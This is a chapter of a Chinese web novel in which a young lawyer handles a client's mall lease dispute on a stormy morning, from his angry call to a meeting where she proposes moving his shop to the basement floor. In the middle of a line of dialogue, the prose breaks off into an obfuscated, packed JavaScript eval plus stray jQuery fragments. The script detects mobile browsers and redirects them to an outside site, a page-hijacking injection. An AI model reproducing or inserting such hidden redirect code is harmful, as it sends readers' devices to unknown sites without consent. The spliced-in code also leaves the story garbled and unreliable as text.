清晨六点半，凌零零被手机天气预警的震动惊醒。
窗帘缝隙透进来的天光泛着铅灰色。
她眯着眼划开屏幕——【今日暴雨黄色预警，预计上午9时起......】。
床头电子钟显示6:32。
她一个鲤鱼打挺坐起来，比闹钟预定时间提前了二十八分钟。
"来得及。"
她叼着牙刷翻出防水外套时，厨房水壶正发出尖锐的啸叫。
微波炉"叮"地热好昨晚买的饭团，窗外已经有零星的雨点砸在空调外机上，像某种倒计时。
饭团才啃到第二口，手机突然在餐桌上疯狂震动。
来电显示"陆各"两个字让她太阳穴突突直跳——
现在不是正常工作时间，陆各联系她应该不是什么好事。
"商场要我在一个星期内腾出现在的店铺！"
电话那头的男声像炸雷般劈进耳膜。"否则就要诉讼解除合同，还要我赔钱！"
陶瓷杯里的豆浆被凌零零失手碰翻，在桌面上漫延成一片浑浊的湖泊。
她手忙脚乱地抽纸巾，耳边是陆各语无伦次的控诉。
"...他们过河拆桥...居然还倒打一耙..."
背景音里传来"砰"的巨响，听起来像是拳头砸在柜台上。
窗外的雨势骤然变大，豆大的雨点噼里啪啦砸在玻璃窗上。
凌零零看着水痕在窗面扭曲成狰狞的纹路，恍惚觉得那像是法律文书上纠缠的条款。
陆各的声音和雨声混在一起，变成某种令人眩晕的白噪音。
"...你们律所必须..."
"陆总。"
她用力按住太阳穴，指甲在皮肤上留下半月形的压痕。
"能把律师函拍给我看吗？"
这句话像按下了暂停键，电话那头终于有了片刻寂静。
手机震动提示收到图片。
凌零零放大那张被捏得皱巴巴的律师函。
她的目光扫过律师函正文，在"依据租赁合同第XX条"处突然顿住
——这个条款她太熟悉了，正是吴大志之前特别提醒过要注意的地方。
按照条款规定，如果陆各拒绝更换铺位，商场有权直接解除合同。
赔偿金额也写得明明白白：最多赔半年租金，再加上实际装修花费。
凌零零这才恍然大悟。
难怪商场一直拖着不批装修申请，就是要让陆各既开不了业，又拿不到装修赔偿。
这样一来，要么接受搬到四楼的冷清位置，要么就只能认栽解约。
凌零零的目光移动到律师函落款的公章上。
她的瞳孔震动——如果她没记错的话，这个事务所是......
"您先别急。"
凌零零听见自己的声音像隔着棉花。
"合同约定了商场可以选择解约，但赔偿标准..."
话没说完就被陆各的冷笑打断。
"我就知道你会这么说！"
听筒里的声音突然拔高。
"你们都一个德行！...前面说得好好的，说要起诉，说给我三楼，转过头来就不认账。"
雨点砸在窗玻璃上的频率越来越急，像无数细小的锤子在敲打战鼓。
凌零零的目光落在自己映在窗上的倒影
——乱蓬蓬的头发，嘴角还沾着饭团的海苔屑，活像个被暴雨困住的落汤鸡。
"陆总。"
她突然抬高音量，声音在雨声中劈开一道缝隙。
"您说得对，我之前是建议你诉讼。但是我昨天又去现场看了一下，在启动诉讼程序前，我需要和您再商量一下.....对电话里说不方便。"
雨更大了。
密集的水幕把窗外世界模糊成扭曲的色块。
凌零零听着电话那头逐渐平息的咆哮声。
她抓起雨伞冲出门时，手机贴在发烫的耳边。
"那一个小时后我们在锦绣门店见。对，就是您第一次来的那家门店。"
楼道里的穿堂风裹着雨腥味扑面而来。
在踏入雨幕的前一秒，她最后看了眼手机屏幕上那张律师函。
狂风裹挟着暴雨砸在玻璃门上，发出噼里啪啦的声响。
凌零零冲进门店时，整个人像是刚从水里捞出来
——后背的衬衫湿漉漉地贴在身上，裤脚管不断往下滴水，运动鞋里发出咕叽咕叽的水声。
她甩了甩雨伞，水珠四溅。
抬头就看见桌上台历贴着张醒目的黄色便签：
「小凌，X号暴雨预警，我就不过来了。养生茶包在抽屉里，淋雨记得煮来喝。——吴大志」字迹潦草得像是匆忙间写下的。
湿透的伞尖不断滴着水，在地上汇成一小滩。
凌零零在门店里转了一圈，最后扯了个干净的垃圾袋套在塑料垃圾桶上，把雨伞斜插进去。
水珠顺着伞骨滑落，在塑料袋上敲出细密的滴答声。
抽屉里的养生茶包散发着淡淡的姜味。
凌零零往电水壶里灌满水，趁着烧水的工夫，抽了几张纸巾擦拭头发和脸颊。
温热的水汽渐渐在门店里弥漫开来，驱散了些许雨天的阴冷。
水壶刚发出"咔嗒"的断电声，门口的风铃就突兀地响了起来。
透过雨雾朦胧的玻璃门，能看到陆各那张阴沉的脸。
他站在屋檐下，黑色西装外套上沾满水珠，手里攥着一把不断滴水的长柄伞。
凌零零小跑着去开门，冷风夹着雨丝扑面而来。
"陆总您来了？快请进！"
她殷勤地接过陆各的伞，发现这把昂贵的定制伞居然在接缝处漏了水，伞尖还在不断往下滴水。
"我开车来的，待会还有事。"
陆各站在门口没动，西装裤脚已经湿了一大片。
"有什么话赶紧说。"
凌零零把伞也插进垃圾桶，拉开办公桌旁的椅子。
"您先别急，喝杯热茶暖暖身子。"
她倒了杯姜茶推过去，热气在杯口袅袅上升。
陆各盯着茶杯看了几秒，终于不情不愿地坐下。
凌零零暗自松了口气，赶紧摊开昨天画的商场平面图。
纸张边缘还带着些许水渍，但密密麻麻的标注依然清晰可见。
"我建议您接受商场的要求换楼层。"
她赶在陆各变脸前加快语速，"但不是换到四层，而是地下一层。"
陆各的眉毛几乎要竖起来："地下一层？那种到现在都没几家租客，日后租客多了会乱哄哄像集市一样的地方？"
"您看这里，"
凌零零把手机里的照片调出来放大。
"这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906134|174234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我调查的商场周围的情况，地下一层的位置其实很有优势......"
窗外突然炸响一声惊雷，雨势变得更大了。
雨水拍打着玻璃门，像是某种急促的鼓点。
凌零零的声音在雨声中格外清晰。
"...最重要的是，商场原本还只是不让您装修，现在突然发了律师函，显然是急着想让您把三楼的位置空出来，正是谈判的好时机。"
陆各的表情终于松动了一些。
他端起茶杯抿了一口，姜茶的辛辣让他微微皱眉："继续说。"
......
凌零零一口气说完，喉咙干得发疼。
她抓起桌上那杯已经凉透的养生茶，咕咚咕咚灌下去，姜茶的辛辣味冲得她皱了皱眉。
陆各的目光还黏在她铺满整张桌子的笔记和图纸上。
那些密密麻麻的标注、随手画的动线图、用不同颜色贴纸区分的客流数据，在灯光下显得有些凌乱。
雨水拍打着玻璃门，发出规律的声响。
"实在不好意思啊陆总。"
凌零零擦了擦嘴角。
"下这么大雨还让您特意跑一趟。主要是电话里真的说不清楚这些......"
陆各终于抬起头，眼神锐利得像刀子。
"不用道歉。你说得对，要不是今天聊开，我肯定已经抢先起诉商场了。"
他冷笑一声。
"我陆各做生意这么多年，从来都是原告席上的，还没坐过被告席。"
"那我们下一步......"
凌零零刚要开口。
"直接跟商场说，我不要四层，要地下一层？"
陆各打断她，手指在桌面上敲了敲。
凌零零摇头。
"不能这么直接。如果让商场知道您看中地下一层，他们很可能会趁机刁难，甚至抬高租金。"
陆各突然笑了，那笑容让人后背发凉。
"方其不敢。他要是再耍我一次......"
话没说完，但威胁的意味已经很浓。
"但现在商场请了律师。
"凌零零轻声说。
"律师很可能会这么建议。"
陆各挑眉看她。
"听你这口气，好像很了解商场请的律师？"
凌零零叹了口气，手指无意识地摩挲着茶杯边缘。
"确实挺熟的......他是我大学室友的爸爸。"
空气突然凝固了一瞬。
窗外的雨声变得格外清晰，一滴水珠顺着伞尖滴落在垃圾桶里，发出"嗒"的一声轻响。
陆各的表情变得微妙起来。
他慢慢靠回椅背，目光在凌零零脸上来回扫视。
"有意思。所以你是......"
"我当然是站在您这边的，您才是我的客户。"
凌零零直视他的眼睛。
"正因为我了解他们的做事风格，才知道该怎么应对。"
陆各突然大笑起来，笑声在空荡的门店里格外响亮。
他伸手点了点凌零零的笔记。
"行啊小凌，看不出来你还藏着这手。那你说，我们该怎么继续？"
雨还在下，但室内的气氛已经完全不同了。
凌零零的声音和雨声混在一起，渐渐勾勒出一个全新的计划轮廓。